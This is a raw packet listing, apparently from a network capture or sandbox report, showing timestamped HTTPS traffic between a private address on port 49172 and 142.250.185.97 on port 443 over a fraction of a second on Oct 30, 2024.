Oct 30, 2024 07:53:22.993731022 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.993740082 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.994535923 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.996090889 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.999361992 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.999417067 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:22.999464989 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:22.999479055 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.001952887 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.005170107 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.005203962 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.005481958 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.005491018 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.005938053 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.007585049 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.010531902 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.010562897 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.010607958 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.010622978 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.013623953 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.014379978 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.014385939 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.016063929 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.017575979 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.017582893 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.018748045 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.019306898 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.019321918 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.021528959 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.021625996 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.021631002 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.039164066 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.039164066 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.039175034 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.039185047 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.039212942 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.039235115 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.039235115 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.039241076 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.039338112 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.039659977 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.039940119 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.039940119 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.039944887 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.040102005 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.042201042 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.044632912 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.044682026 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.044807911 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.044825077 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.046385050 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.047240973 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.049612045 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.049644947 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.049674988 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.049693108 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.049700022 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.051115990 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.052000999 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.054452896 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.054483891 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.054565907 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.054572105 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.055335999 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.056803942 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.075926065 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.075969934 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.076004028 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.076035023 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.076065063 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.076071978 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.076071978 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.076081991 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.076119900 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.076133966 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.076138020 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.076901913 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.076934099 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.076937914 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.076947927 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.076988935 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.077075005 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.077080011 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.077749968 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.077780962 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.077809095 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.077831030 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.077835083 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.078619957 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.078713894 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.078720093 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.080195904 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.082314014 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.082367897 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.082376003 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.082382917 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.082421064 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.084573030 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.085184097 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.085189104 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.085323095 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.086726904 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.088984013 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.089014053 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.089044094 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.089049101 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.091332912 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.091377020 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.093321085 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.093353033 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.093760967 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.093766928 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.095429897 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.097440004 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.097448111 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.098089933 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.099407911 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.099407911 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.099415064 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.099555969 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.101440907 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.101480961 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.101496935 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.102924109 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.102929115 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.102988958 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.104136944 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.105386019 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.105417013 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.105437994 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.105453014 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.106381893 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.107275963 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.109276056 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.109306097 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.109353065 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.109359980 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.109936953 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.111066103 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.112988949 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.113018990 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.113095045 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.113101006 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.113737106 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.113737106 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.114794970 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.116651058 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.116686106 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.116725922 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.116733074 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.118498087 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.120265961 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.120285034 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.120313883 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.120318890 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.120405912 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.122075081 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.123898029 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.123922110 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.124011993 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.124017000 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.125639915 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.125682116 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.125689030 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.127438068 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.129039049 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.129070997 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.129218102 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.129225969 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.130354881 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.130780935 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.132407904 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.132492065 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.132559061 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.132565022 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.134227037 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.135073900 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.135078907 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.136419058 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.136543036 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.136548996 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.137459040 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.137605906 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.137610912 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.139101028 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.139343977 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.139348984 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.140844107 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.142226934 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.142260075 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.142283916 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.142290115 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.142323971 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.143930912 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.143974066 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.144026041 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.144032001 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.145385027 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.145450115 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.145454884 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.146933079 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.148390055 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.148411989 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.148423910 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.148428917 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.148474932 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.149993896 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.151427031 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.151458025 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.151496887 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.151520014 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.153016090 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.153109074 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.153126955 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.154438019 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.155807972 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.155838013 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.155854940 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.155864000 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.155936003 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.156177998 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.156256914 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.157191038 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.158653975 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.158679962 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.158699989 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.158711910 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.160079956 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.160146952 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.160152912 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.160202980 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.161411047 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.162803888 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.162832975 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.162956953 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.162969112 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.163333893 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.163755894 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.163853884 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.164170027 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.165437937 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.165458918 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.165488005 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.165493965 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.165719986 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.166773081 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.168615103 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.168642998 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.168689966 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.168698072 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.169621944 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.169689894 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.169696093 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.170814991 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.170969963 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.170975924 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.172096014 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.173368931 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.173397064 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.173472881 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.173480034 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.173540115 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.174835920 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.176026106 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.176059008 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.176152945 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.176160097 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.177247047 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.177383900 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.177390099 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.178488970 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.179728985 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.179759026 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.179852009 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.179860115 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.180949926 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.181080103 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.181086063 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.182102919 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.183320045 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.183351040 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.183371067 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.183377981 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.184500933 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.184649944 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.184655905 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.185739994 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.186777115 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.186829090 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.186861038 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.186867952 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.187333107 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.188019991 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.188024998 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.188086033 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.189066887 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.189097881 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.189122915 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.189129114 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.189197063 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.190824032 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.191401958 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.191430092 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.191467047 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.191473961 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.191574097 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.192564964 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.193701029 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.193730116 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.193779945 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.193787098 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.194865942 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.194953918 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.194961071 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.196052074 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.196141958 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.196149111 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.197058916 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.197145939 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.197153091 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.198195934 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.198244095 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.198250055 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.199218988 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.199331999 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.199337959 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.200368881 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.200411081 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.200416088 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.201436043 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.201493025 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.201499939 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.202478886 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.202553988 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.202559948 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.203507900 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.203835011 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.203843117 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.204592943 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.204652071 CET	49172	443	192.168.2.22	142.250.185.97
